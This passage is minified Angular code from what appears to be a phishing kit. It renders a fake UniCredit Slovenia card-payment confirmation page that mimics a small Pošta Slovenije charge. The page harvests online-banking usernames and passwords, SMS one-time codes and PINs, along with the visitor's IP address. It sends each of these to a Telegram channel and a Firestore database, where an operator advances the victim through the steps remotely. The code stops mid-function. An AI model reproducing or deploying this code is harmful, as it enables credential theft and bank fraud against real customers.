t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step)}}let sD=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.showCodeOP="",this.showCode="",this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){}onConfirm(){return this.user.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"daza")):this.pass.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff")):(this.loading=!0,void setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){console.error("Error writing document event: ",t)}),this.step=3,t=" UniCredit-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3))}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t)}),this.step=3,t=" UniCredit-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" UniCredit-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-attica-modal"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://fci.nl/sites/default/files/UniCredit_Bank_Slovenia_1.jpg",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["id","btnSubmitItem",4,"ngIf"],["align","left","width","40"],["align","center",1,"left"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Dav\u010dna \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","text","placeholder","Aktivacijska koda",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["align","left","width","10"],["href","javascript:void(0)","target","_blank"],["width","10"],["href","https://onlineposlovanje.unicreditbank.si"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","placeholder","Vnesi uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","placeholder","Geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["style","display: flex; justify-content: center;","class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,IA,3,0,"h2",5),r.\u0275\u0275template(10,kA,3,0,"h2",5),r.\u0275\u0275template(11,AA,5,0,"p",6),r.\u0275\u0275template(12,DA,3,0,"p",6),r.\u0275\u0275template(13,NA,5,1,"p",6),r.\u0275\u0275template(14,RA,3,1,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,LA,2,0,"div",6),r.\u0275\u0275template(53,oD,12,10,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,lT,_E,KE],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:780px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#35a000;border-radius:3px;min-width:90px;max-height:40px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function aD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function cD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function lD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev transakcije se prijavite."),r.\u0275\u0275elementEnd())}function uD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function dD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span"),r.\u0275\u0275text(2," Prosimo, odobritve svojo transakcijo prek mobilne banke "),r.\u0275\u0275elementStart(3,"span",33),r.\u0275\u0275text(4," Link M "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function hD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Za potrditev transakcije se prijavite. Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function pD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",34),r.\u0275\u0275elementEnd())}function fD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275elementStart(4,"div",43),r.\u0275\u0275elementStart(5,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",40),r.\u0275\u0275elementStart(7,"div",43),r.\u0275\u0275elementStart(8,"input",45),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",38),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function gD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",39),r.\u0275\u0275template(1,fD,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",40),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275elementStart(4,"input",41),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function mD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",39),r.\u0275\u0275elementStart(1,"input",41),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function yD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",37),r.\u0275\u0275template(5,gD,5,1,"div",35),r.\u0275\u0275template(6,mD,2,0,"div",35),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function bD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",47),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function vD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,bD,2,0,"div",46),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function _D(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275elementStart(4,"div",43),r.\u0275\u0275elementStart(5,"a",48),r.\u0275\u0275text(6," Potrebujem pomo\u010d? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",38),r.\u0275\u0275elementEnd())}function CD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",38),r.\u0275\u0275elementEnd())}function wD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",39),r.\u0275\u0275elementStart(1,"div",40),r.\u0275\u0275elementStart(2,"div",43),r.\u0275\u0275elementStart(3,"input",49),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",50),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",51),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function xD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,wD,9,1,"div",35),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function PD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",47),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function SD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,PD,2,0,"div",46),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function MD(t,e){if(1&t){const 